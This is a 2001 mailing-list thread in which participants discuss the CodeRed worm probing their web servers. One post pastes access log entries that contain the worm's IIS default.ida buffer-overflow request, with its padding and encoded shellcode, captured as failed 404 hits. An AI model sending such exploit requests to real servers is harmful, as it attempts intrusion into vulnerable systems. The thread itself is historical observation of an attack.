23 Jul
2001
23 Jul
'01
7:16 a.m.
Just testing, hoping that CodeRed didn't silence everyone...
-dq
23 Jul
23 Jul
12:08 p.m.
It was thus said that the Great Douglas Quebbeman once stated:
Just testing, hoping that CodeRed didn't silence everyone...
Nope. But I did see some affected boxes try to get into my webserver
(running on 10yo hardware BTW 8-). Not that they did (since I don't run
Microsoft IIS).
-spc (Perhaps people were busy out and about collecting systems ... )
12:44 p.m.
New subject: code red
It was thus said that the Great Douglas Quebbeman once
stated:
Here's the logs from my file... notice the attempt at the old buffer
overflow stack smash.
Didn't work here. FreeBSD 4.3-STABLE #0: Sat Jul 21 00:45:37 EDT 2001
They got stuff hacked @ Southern New England Telephone..., Cap Gemini in
France, MediaOne...
Bill
log files...
[Thu Jul 19 19:26:01 2001] [error] [client 165.247.154.65] File does not exist:
/usr/local/www/data/default.ida
221.191.252.64.snet.net - - [19/Jul/2001:15:09:17 -0400] "GET
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 404 205 "-" "-"
pc21.224.3.194.capgemini.fr - - [19/Jul/2001:15:16:21 -0400] "GET
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 404 205 "-" "-"
we-66-74-140-152.we.mediaone.net - - [19/Jul/2001:16:21:36 -0400] "GET
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 404 205 "-" "-"
---
Bill Gates is a Persian cat and a monocle away from being a
villain in a James Bond movie -- Dennis Miller
bpechter@shell.monmouth.com|pechter@pechter.dyndns.org
Just testing, hoping that CodeRed didn't silence everyone...
Nope. But I did see some affected boxes try to get into my webserver
(running on 10yo hardware BTW 8-). Not that they did (since I don't run
Microsoft IIS).
-spc (Perhaps people were busy out and about collecting systems ... ) 
1:55 p.m.
New subject: code red
Didn't work here. FreeBSD 4.3-STABLE #0: Sat Jul
21 00:45:37 EDT 2001
Didn't work here either (AIX on ANS) but they sure tried:
stockholm:/tmp/% grep default.ida /usr/local/htdocs/access.log | wc -l
18
--
----------------------------- personal page: http://www.armory.com/~spectre/ --
Cameron Kaiser, Point Loma Nazarene University * ckaiser(a)stockholm.ptloma.edu
-- Everything is permissible, but not everything is expedient. -- 1 Cor 6:12 --
8401
days inactive
8401
days old
3 comments
4 participants
participants (4)
-
dhquebbeman＠theestopinalgroup.com -
pechter＠bg-tc-ppp1175.monmouth.com -
spc＠conman.org -
spectre＠stockholm.ptloma.edu